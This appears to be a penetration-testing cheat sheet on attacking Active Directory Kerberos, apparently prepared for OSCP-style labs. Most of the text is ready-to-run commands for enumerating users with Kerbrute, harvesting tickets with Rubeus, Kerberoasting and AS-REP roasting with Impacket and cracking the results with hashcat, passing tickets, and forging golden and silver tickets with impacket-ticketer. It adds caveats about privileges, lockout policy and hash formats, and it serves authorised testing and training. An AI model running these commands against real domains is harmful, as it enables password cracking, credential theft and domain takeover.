AD Attacking Kerberos

Use the correct DNS domain, reachable DC and domain time. Requesting or importing a ticket establishes an authentication context; the destination still checks authorization. A valid user ticket does not automatically grant Domain Admin.

Kerbrute

Installation

Use a reviewed Kerbrute release for the current platform/architecture. Rename the selected Linux binary to kerbrute in your working directory:

chmod +x ./kerbrute

Enumerating Users

./kerbrute userenum --dc DC_IP -d DOMAIN /PATH/users.txt

An accepted username is not a recovered password or a usable remote session. Interpret timeout, encryption and clock errors separately from an unknown account; retain the exact identity for the next authenticated check.

Rubeus

Use a reviewed Rubeus build compatible with the Windows execution context. Its ticket operations have different privilege requirements.

Harvesting Tickets

For a deliberately selected elevated collection context:

.\Rubeus.exe harvest /monitorinterval:30

Harvesting monitors for usable tickets; it does not guarantee a privileged user logs on. Reading other logon sessions generally needs elevation. For current-session versus LSASS export, use ticket acquisition.

Brute-Forcing / Password-Spraying

Use the domain password-guessing procedure after checking the applicable lockout policy and candidate identities. Do not run Rubeus's domain-wide brute/spray mode as a routine enumeration step or infer a safe rate from its defaults.

Kerberoasting

Requires a domain identity that can request a service ticket and a relevant service account/SPN. A returned ticket is an offline password-recovery candidate, not proof the service password is weak.

Rubeus

From a Windows session authenticated as the requesting domain identity, select the observed service account:

.\Rubeus.exe kerberoast /user:SERVICE_USER /outfile:kerberoast.txt

Use the actual output format/encryption type when selecting the offline hash mode; mode 13100 below is for RC4 etype 23, not every Kerberos ticket.

Impacket

Use the installed, supported Impacket release. Do not downgrade the entire suite to an old release for these commands. On Kali, enter the known requesting account's password at the prompt:

impacket-GetUserSPNs -dc-ip DC_IP -request-user SERVICE_USER -outputfile kerberoast.txt 'DOMAIN/USER'

Read the selected SPN/account and saved verifier. Failure to list/request an SPN can reflect account type, filters, directory access or Kerberos connectivity. For a verifier beginning $krb5tgs$23$:

hashcat -m 13100 -a 0 kerberoast.txt /PATH/passwords.txt
hashcat -m 13100 --show kerberoast.txt

AES ticket formats need their matching supported hash mode; do not force mode 13100 or rewrite the verifier to resemble RC4. Validate a recovered password in its exact account/service context. GetUserSPNs options.

AS-REP Roasting

Use an observed account with Kerberos preauthentication disabled. From Kali, a selected username list can request the relevant response without a password:

impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /PATH/users.txt -no-pass -format hashcat -outputfile asrep.txt

A preauthentication-required reply rules out this method for that account in the current context. For an actual $krb5asrep$23$ verifier:

hashcat -m 18200 -a 0 asrep.txt /PATH/passwords.txt
hashcat -m 18200 --show asrep.txt

Do not blindly insert 23$ into output: preserve the tool's emitted format and select the correct mode. A missing response or failed wordlist is not proof of an absent account.

.\Rubeus.exe asreproast /user:TARGET_USER /format:hashcat /outfile:asrep.txt

Pass the Ticket

Prepare Mimikatz & Dump Tickets

Use ticket acquisition to distinguish a current-session export from elevated access to other sessions. Treat .kirbi files and caches as credentials, and retain the principal, ticket type, SPN, validity and source context.

Pass the Ticket

Use the Windows import or Kali cache procedure. Importing a TGT allows compatible service-ticket requests; a TGS is service-scoped. Neither changes the account's directory rights or automatically elevates a local token.

Golden / Silver Ticket Attack

Dump the krbtgt hash

KRBTGT key acquisition requires the corresponding domain-level access, such as effective replication rights. Local administrator on a member server is not enough. A silver ticket instead needs the key of the account serving the exact target SPN; those keys are not interchangeable.

Create a Golden/Silver Ticket

The domain SID excludes the user's RID. Use the existing account's actual USER_RID and deliberately selected GROUP_RIDS (a comma-separated RID list); do not assume RID 1103 or the tool's privileged defaults. A conditional golden-ticket example, with an obtained KRBTGT NT key and a domain that accepts that encryption/validation context:

impacket-ticketer -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain DOMAIN -user-id USER_RID -groups GROUP_RIDS USER
export KRB5CCNAME="$PWD/USER.ccache"
klist

This produces a forged TGT. It does not disable current PAC/KDC validation, account checks or service authorization.

impacket-ticketer -aesKey AES_KEY -domain-sid DOMAIN_SID -domain DOMAIN -user-id USER_RID -groups GROUP_RIDS USER
export KRB5CCNAME="$PWD/USER.ccache"
klist

For a service-scoped ticket, use the silver-ticket procedure, which owns the exact SPN, service key and compatible client invocation. Impacket ticket options.

Use the Golden/Silver Ticket to access other machines

Select the correct cache and a destination FQDN/SPN; a cache listing alone does not demonstrate access. For a TGT and a selected SMB destination:

impacket-smbclient -k -no-pass 'DOMAIN/USER@HOST'

Only the destination's accepted authentication and permitted operation establish access. A forged TGT is not a guarantee of access to the entire network, and starting a new command prompt alone is not proof of elevation. Read the ticket failure router when DNS, time, SPN, encryption or validation fails.

Prepare tools used on this page

Run setup on Kali after preparing the shared workspace. Skip a clone when its checkout already exists; review/update it deliberately rather than cloning over it. Operational commands remain in the sections above.

curl -fL https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64 -o "$HOME/oscp/tools/bin/kerbrute"
chmod u+x "$HOME/oscp/tools/bin/kerbrute"

"$HOME/oscp/tools/bin/kerbrute" version

sudo apt install rubeus
cp -a /usr/share/windows-resources/rubeus "$HOME/oscp/tools/artifacts/windows/"

dpkg-query -W rubeus
file "$HOME/oscp/tools/artifacts/windows/rubeus/Rubeus.exe"